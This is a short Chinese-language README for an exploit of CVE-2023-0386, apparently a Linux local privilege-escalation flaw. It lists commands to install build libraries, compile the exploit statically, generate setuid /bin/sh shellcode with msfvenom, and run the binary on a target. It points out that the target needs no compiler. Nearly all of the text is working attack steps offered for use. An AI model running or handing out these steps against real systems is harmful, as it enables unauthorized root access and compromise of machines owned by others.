CVE-2023-0386 包含所需运行库安装编译环境
```bash
sudo apt install -y gcc libfuse-dev pkg-config
```
编译 exp
```bash
gcc -Wall CVE-2023-0386.c `pkg-config fuse --cflags --libs` -D_FILE_OFFSET_BITS=64 -o CVE-2023-0386-exp -static -lfuse
```
生成 shellcode
```
msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True -f elf -o shellcode.elf && xxd -i -c 8 shellcode.elf
xxd -i -c 8 shellcode.elf
```
目标执行,**不需要要求目标安装 gcc 等环境**
```
chmod +x CVE-2023-0386-exp && ./CVE-2023-0386-exp
```
[4.0K] /data/pocs/c2d81953522039087741af6da1282e55e62d1fb0
├── [6.6K] CVE-2023-0386.c
└── [ 509] README.md
0 directories, 2 files